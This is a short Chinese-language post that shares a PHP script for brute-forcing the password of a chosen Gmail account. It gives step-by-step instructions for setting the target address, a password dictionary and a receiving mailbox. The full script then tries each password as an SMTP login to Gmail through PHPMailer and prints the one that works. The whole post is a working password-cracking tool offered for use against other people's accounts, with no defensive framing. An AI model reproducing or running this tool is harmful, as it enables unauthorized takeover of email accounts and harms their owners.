分享一个爆破Gmail邮箱密码的工具,该工具采用PHP编写。
使用方法:
第一步: 将account变量修改为待破解的Gmail邮箱.
第二步: 将pwd_file变量修改为密码字典路径.
第三步: 将toAccount变量修改为你的任意邮箱,该邮箱用于接收邮件.
第四步: 在命令行运行 "php gmail.php" 开始爆破密码.
<?php /* 爆破Gmail邮箱密码 爆破原理: 给某个邮箱发邮件,如果发送成功,则密码正确. 使用说明: 第一步: 将account变量修改为待破解的Gmail邮箱. 第二步: 将pwd_file变量修改为密码字典路径. 第三步: 将toAccount变量修改为你的任意邮箱,该邮箱用于接收邮件. 第四步: 在命令行运行 "php gmail.php" 开始爆破密码. */ use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; include_once "./src/PHPMailer.php"; include_once "./src/SMTP.php"; // 待破解的Gmail邮箱 $account = '[email protected]'; // 密码字典 $pwd_file = './password.txt'; // 收件人,设置为你的邮箱 $toAccount = '[email protected]'; //邮件内容,默认内容一般不修改 $body="<h2>this is a email.</h2>"; $FromName = explode('@', $account)[0]; $str = file_get_contents($pwd_file); $pwd_list = explode(PHP_EOL, $str); foreach($pwd_list as $password) { if(empty($password)) { continue; } $mail=new PHPMailer(); // 设置smtp参数 $mail->IsSMTP(); $mail->SMTPAuth=true; $mail->SMTPKeepAlive=true; $mail->SMTPSecure = "ssl"; $mail->Host="smtp.gmail.com"; $mail->Port = 465; $mail->Username = $account; $mail->Password = $password; $mail->From = $account; $mail->FromName = $FromName; $mail->Subject = "MacBook"; $mail->AltBody=$body; $mail->WordWrap=50; $mail->MsgHTML($body); $mail->AddReplyTo($account, $FromName); $mail->AddAddress($toAccount,"Jack"); $mail->IsHTML(true); if($mail->Send()) { echo "Account: {$account}" . PHP_EOL; echo "Password: {$password}" . PHP_EOL; exit(); } else { echo $password . ' is error.' . PHP_EOL; continue; } usleep(100000); }